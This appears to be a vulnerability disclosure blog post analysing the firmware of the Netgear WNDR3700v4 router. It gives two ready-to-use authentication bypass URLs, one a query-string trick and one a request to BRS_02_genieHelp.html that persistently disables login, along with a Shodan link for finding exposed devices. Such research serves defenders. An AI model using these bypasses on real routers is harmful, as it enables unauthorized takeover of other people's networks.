In the executable's data section, there's a table of mime handler structures that describe, among other things, names or partial names of paths that can be requested via HTTP.<br />
<br />
A C declaration for the mime handler structure might look approximately like:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;"><pre style="line-height: 125%; margin: 0;"><span style="color: #6ab825; font-weight: bold;">struct</span> <span style="color: #d0d0d0;">mime_handler</span> <span style="color: #d0d0d0;">{</span>
<span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*pattern;</span>
<span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*mime_type;</span>
<span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*extra_header;</span>
<span style="color: #6ab825; font-weight: bold;">void</span> <span style="color: #d0d0d0;">(*input)(</span><span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*path,</span> <span style="color: #6ab825; font-weight: bold;">FILE</span> <span style="color: #d0d0d0;">*stream,</span> <span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">len,</span> <span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*boundary);</span>
<span style="color: #6ab825; font-weight: bold;">void</span> <span style="color: #d0d0d0;">(*output)(</span><span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*path,</span> <span style="color: #6ab825; font-weight: bold;">FILE</span> <span style="color: #d0d0d0;">*stream);</span>
<span style="color: #6ab825; font-weight: bold;">void</span> <span style="color: #d0d0d0;">(*auth)(</span><span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*userid,</span> <span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*passwd,</span> <span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*realm);</span>
<span style="color: #d0d0d0;">};</span>
</pre></div><br />
The main function for handling requests is<span style="font-family: Courier New, Courier, monospace;"> handle_http_request()</span>. Its function signature looks like:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;"><pre style="line-height: 125%; margin: 0;"><span style="color: #d0d0d0;">handle_http_request(</span><span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*script_file,</span> <span style="color: #999999; font-style: italic;">//requested object or cgi script</span>
<span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*query_string,</span>
<span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*request_method,</span>
<span style="color: #6ab825; font-weight: bold;">FILE</span> <span style="color: #d0d0d0;">*</span> <span style="color: #d0d0d0;">stdout,</span>
<span style="color: #6ab825; font-weight: bold;">FILE</span> <span style="color: #d0d0d0;">*stdin);</span>
</pre></div><br />
<br />
In <span style="font-family: Courier New, Courier, monospace;">http_handle_request()</span>, there is logic to loop over each of the mime handlers to check if the requested object matches the handler's pattern string. It actually just does a strstr() to see if the pattern is a substring of the requested object.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-qutdltvWCB0/UmaJlhsp8sI/AAAAAAAABQw/yI36a7TBemg/s1600/mime+handler+lookup.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="http://4.bp.blogspot.com/-qutdltvWCB0/UmaJlhsp8sI/AAAAAAAABQw/yI36a7TBemg/s400/mime+handler+lookup.png" width="400" /></a></div><br />
<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><br />
If there's a match, then it checks to see if there's an authentication handler. If there is none for that mime handler, then no authentication is performed. Execution skips down the the block I call "pass go, collect $200."<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-gqe4qvl_0jI/UmaKM5m0TjI/AAAAAAAABQ4/aAjxcuEbmcw/s1600/pass+go+collect+200.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-gqe4qvl_0jI/UmaKM5m0TjI/AAAAAAAABQ4/aAjxcuEbmcw/s1600/pass+go+collect+200.png" /></a></div><br />
<br />
When we look at the mime handler table, we see an entry for the pattern "BRS_". This entry's auth function pointer is NULL, meaning requested objects matching this pattern don't require authentication.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-HD-d-pUzFEc/UmWUhPav0kI/AAAAAAAABQM/56eopiRGF8c/s1600/mime+handlers+BRS.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="202" src="http://1.bp.blogspot.com/-HD-d-pUzFEc/UmWUhPav0kI/AAAAAAAABQM/56eopiRGF8c/s400/mime+handlers+BRS.png" width="400" /></a></div><br />
This is interesting because there are several <span style="font-family: Courier New, Courier, monospace;">BRS_</span> files available for the web server to serve up:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;"><pre style="line-height: 125%; margin: 0;"><span style="color: #cccccc;">root/www (0) $ ls -1 BRS_*</span>
<span style="color: #cccccc;">BRS_01_checkNet.html*</span>
<span style="color: #cccccc;">BRS_01_checkNet_ping.html</span>
<span style="color: #cccccc;">BRS_02_genieHelp.html*</span>
<span style="color: #cccccc;">BRS_03A_A_noWan_check_net.html*</span>
<span style="color: #cccccc;">BRS_03A_A_noWan.html*</span>
<span style="color: #cccccc;">BRS_03A_B_pppoe.html*</span>
<span style="color: #cccccc;">BRS_03A_B_pppoe_reenter.html*</span>
<span style="color: #cccccc;">BRS_03A_C_pptp.html*</span>
<span style="color: #cccccc;">BRS_03A_C_pptp_reenter.html*</span>
<span style="color: #cccccc;">BRS_03A_D_bigpond.html*</span>
<span style="color: #cccccc;">BRS_03A_detcInetType.html*</span>
<span style="color: #cccccc;">BRS_03A_E_IP_problem.html*</span>
<span style="color: #cccccc;">BRS_03A_E_IP_problem_staticIP_A_inputIP.html*</span>
<span style="color: #cccccc;">BRS_03A_E_IP_problem_staticIP_B_macClone.html*</span>
<span style="color: #cccccc;">BRS_03A_E_IP_problem_staticIP_B_macClone_plzWait.html*</span>
<span style="color: #cccccc;">BRS_03A_E_IP_problem_staticIP.html*</span>
<span style="color: #cccccc;">BRS_03A_F_l2tp.html*</span>
<span style="color: #cccccc;">BRS_03A_F_l2tp_reenter.html*</span>
<span style="color: #cccccc;">BRS_03B_haveBackupFile_change_domain.htm</span>
<span style="color: #cccccc;">BRS_03B_haveBackupFile_fileRestore.html*</span>
<span style="color: #cccccc;">BRS_03B_haveBackupFile.html*</span>
<span style="color: #cccccc;">BRS_03B_haveBackupFile_ping.html</span>
<span style="color: #cccccc;">BRS_03B_haveBackupFile_wait_ping.html*</span>
<span style="color: #cccccc;">BRS_03B_haveBackupFile_waitReboot.html*</span>
<span style="color: #cccccc;">BRS_04_applySettings.html*</span>
<span style="color: #cccccc;">BRS_04_applySettings_ping.html*</span>
<span style="color: #cccccc;">BRS_04_applySettings_wget.html*</span>
<span style="color: #cccccc;">BRS_04_applySettings_wgetResult.html*</span>
<span style="color: #cccccc;">BRS_04_B_checkNet.html*</span>
<span style="color: #cccccc;">BRS_04_B_checkNet_ping.html</span>
<span style="color: #cccccc;">BRS_05_networkIssue.html*</span>
<span style="color: #cccccc;">BRS_check_manulConfig.html</span>
<span style="color: #cccccc;">BRS_index.htm*</span>
<span style="color: #cccccc;">BRS_netgear_success.html</span>
<span style="color: #cccccc;">BRS_ping.html*</span>
<span style="color: #cccccc;">BRS_ping_result.html</span>
<span style="color: #cccccc;">BRS_plzWait.html*</span>
<span style="color: #cccccc;">BRS_retry.htm</span>
<span style="color: #cccccc;">BRS_success.html*</span>
<span style="color: #cccccc;">BRS_top.html*</span>
<span style="color: #cccccc;">BRS_wanlan_conflict.html*</span>
</pre></div><br />
All of these files may be accessed without a password. Almost certainly there is something juicy in there, such as some diagnostic information, or maybe a page that will show you the WPA passphrases for the 2.4 GHz and 5GHz networks.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-znVyg4BFSL8/UmWX4lJl7dI/AAAAAAAABQY/yd1WqFXUBS4/s1600/wndr3700v4+BRS+success.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="270" src="http://2.bp.blogspot.com/-znVyg4BFSL8/UmWX4lJl7dI/AAAAAAAABQY/yd1WqFXUBS4/s400/wndr3700v4+BRS+success.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">BRS_success.html. No authentication needed.</td></tr>
</tbody></table><br />
Excellent. Free wifi passwords! Still though, full administrative pwnage would be cool. Good news....<br />
<br />
<br />
<h3>Are You Really Sure We Need to Check Authentication?</h3><br />
When we look at how authentication is checked, there are a bunch of execution paths to the "pass go, collect $200" block. Lets take a look.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-j792hZ3QR1s/Uma9zfRqdDI/AAAAAAAABRI/BeX8Er3jNHk/s1600/unauth+query+strings.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="343" src="http://4.bp.blogspot.com/-j792hZ3QR1s/Uma9zfRqdDI/AAAAAAAABRI/BeX8Er3jNHk/s400/unauth+query+strings.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Lots of requested paths that result in authentication being skipped.</td></tr>
</tbody></table><br />
Above, you can see the first two strings, "unauth.cgi" and "securityquestions.cgi" are checked against the query string, not the requested file. If either of these strings are substrings of the query string, execution bypasses authentication. Since this substring check is against the entire query string, you can request something like <span style="font-family: Courier New, Courier, monospace;">http://router_address/protected_page.htm?foo=unauth.cgi</span>. The "unauth.cgi" will match the substring check and execution will skip authentication.<br />
<br />
I actually discovered this authentication bypass while double checking my research for the next vulnerability. It is the next one that is a much more powerful bypass and even more trivial to exploit. Plus, it's persistent.<br />
<br />
<br />
<h3>So, Do We Really Super Double For Sure Need to Check Authentication?</h3><br />
<br />
After an authentication handler is located, but before the query string is checked for special unauthenticated strings, there is yet another interesting check. Let's have a look[1].<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-h7SrG4TlHPA/UmbEX-t5vHI/AAAAAAAABRU/bIr_sO8N1tM/s1600/hijack_process+check.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="281" src="http://3.bp.blogspot.com/-h7SrG4TlHPA/UmbEX-t5vHI/AAAAAAAABRU/bIr_sO8N1tM/s640/hijack_process+check.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">If hijack_process != "3", collect $200.</td></tr>
</tbody></table><br />
Above, we see a query of the NVRAM configuration for the <span style="font-family: Courier New, Courier, monospace;">hijack_process</span> setting. If that setting is "3", then the authentication execution path is followed as normal. If it is something <i>other</i> than "3", execution skips down to "pass go, collect $200," authentication is bypassed. The purpose of this configuration setting is so that when first plugged in, the router will redirect all web requests to its own web-based administrative interface. In order to prevent users from having to know a default password, authentication is disabled until after the router is configured. The <span style="font-family: Courier New, Courier, monospace;">hijack_process</span> setting is one among several that, together, determine whether the router is in an unconfigured state.<br />
<br />
Where this gets interesting, however, is an <i>unauthenticated</i> page that will <i>set</i> the <span style="font-family: Courier New, Courier, monospace;">hijack_process</span> setting to a value other than "3".<br />
<br />
Grepping through the firmware's html files for "hijack_process" yields an interesting find.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;"><pre style="line-height: 125%; margin: 0;"><span style="color: #aaaaaa;">$</span> grep -rn <span style="color: #ed9d13;">'cfg_set("hijack_process"'</span> *
<span style="color: #aaaaaa;">BRS_02_genieHelp.html:12:<%</span> cfg_set<span style="color: #d0d0d0;">(</span><span style="color: #ed9d13;">"hijack_process"</span>, <span style="color: #ed9d13;">"1"</span><span style="color: #d0d0d0;">)</span> %>
</pre></div><br />
<br />
The <span style="font-family: Courier New, Courier, monospace;">BRS_02_genieHelp.html</span> file contains a command to set <span style="font-family: Courier New, Courier, monospace;">hijack_process</span> to "1". The web interface uses a custom HTML templating language. Any text between '<span style="font-family: Courier New, Courier, monospace;"><%</span>' and '<span style="font-family: Courier New, Courier, monospace;">%></span>' is preprocessed by the web server and the entire directive replaced by the output of that processing. In the case above, the request handler processes the "cfg_set" directive to set the <span style="font-family: Courier New, Courier, monospace;">hijack_process</span> configuration setting. As we discovered earlier, any web page beginning with "BRS_" does not require authentication. An unauthenticated request to <span style="font-family: Courier New, Courier, monospace;">BRS_02_genieHelp.html</span><span style="font-family: inherit;"> will have the effect of disabling </span>authentication<span style="font-family: inherit;"> for the <i>rest of the web interface</i>.</span> Since the <span style="font-family: Courier New, Courier, monospace;">hijack_process</span> setting is only one of several that mark the router as being unconfigured, this one setting alone has no noticeable effect for the user. No web requests are actually hijacked. Further, this setting is stored in NVRAM, which means it is persistent across reboots.<br />
<br />
<h3>TL;DR</h3><br />
You skipped straight to the good stuff didn't you? That's cool. Here's the deal. If you browse to <span style="font-family: Courier New, Courier, monospace;">http://<router address>/BRS_02_genieHelp.html</span><span style="font-family: inherit;">, you are allowed to <i>bypass</i> authentication for <i>all pages</i> in the entire administrative interface. But not only that, authentication remains disabled across reboots. And, of course if remote administration is turned on, this works from the frickin' Internet.</span><br />
<span style="font-family: inherit;"><br />
</span> <span style="font-family: inherit;">Don't believe me? Give it at try. Surf to your WNDR3700v4's web interface and request BRS_02_genieHelp.html. </span>Don't have one of your own? No problem. Shodan's got you <a href="http://www.shodanhq.com/search?q=wndr3700v4+http">covered</a>. (Just to be clear, don't go to Shodan and hack a router you don't own, okay? That's stupid, and it's not legal in most jurisdictions.)<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-K9x1PX4oZIA/UmWDHcPlWSI/AAAAAAAABPk/2eYoncV1Xnk/s1600/shodan+wndr3700v4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://1.bp.blogspot.com/-K9x1PX4oZIA/UmWDHcPlWSI/AAAAAAAABPk/2eYoncV1Xnk/s400/shodan+wndr3700v4.jpg" width="317" /></a></div><br />
With complete, persistent administrative access to the web interface, a huge attack surface is opened up. A malicious DNS server could be configured, exposing users to web browser exploits. Ports could be forwarded to devices on the LAN, exposing vulnerable services to attack. Or, a trojan horse firmware could be flashed onto the device that would give the attacker persistent root-level access to the router. Additionally, any command injection or buffer overflow vulnerabilities in the router's web interface become fair game once authentication is disabled.<br />
<br />
In the next few posts, I will describe additional vulnerabilities that can be exploited once authentication is disabled on this device.<br />
<br />
---------<br />
[1] This is the the technical analysis of how this bug works. It's not how I found it. If you buy me a beer at a conference, I'll tell you how I actually found this vulnerability.Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.com